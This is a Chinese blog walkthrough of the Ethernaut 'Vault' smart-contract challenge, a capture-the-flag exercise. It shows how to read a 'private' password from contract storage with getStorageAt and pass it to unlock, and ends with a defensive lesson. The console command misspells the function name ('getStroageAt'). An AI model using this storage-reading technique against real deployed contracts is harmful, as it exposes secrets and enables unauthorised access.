(https://ethernaut.openzeppelin.com/level/0xf94b476063B6379A3c8b6C836efB8B3e10eDe188)
這一關要解鎖金庫,解鎖了就過關了。
馬上來看程式碼,看來只需要知道password,然後輸入await contract.unlock(password),就可以過關了。因此關鍵在於如何得知password。
bool public locked;
bytes32 private password;
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
這邊有一個關鍵的知識點,web3.eth.getStorageAt(instance, position),雖然password被宣告為private, 但宣告 private 關鍵字僅是預防其他合約對變數的存取及修改,使用getStorageAt仍能得到其值,問題只在於position( position
:Number – 存儲中的索引編號),關於這個索引編號的計算,是有點複雜的,想要詳細的可以看這裡,以這題來講locked變數為索引0,password起始索引為1,每個索引為32 bytes的資料,剛好這邊password為bytes32的資料,因此我們只要在console輸入:
const password = await web3.eth.getStroageAt(instance, 1);
await contract.unlock(password);
解鎖金庫成功,level Cleared!
*takeaways:
- 不應該假設別人無法得知contract變數儲存的值來設計安全機制。
1 thought on “Ethernaut – level 8 : Vault”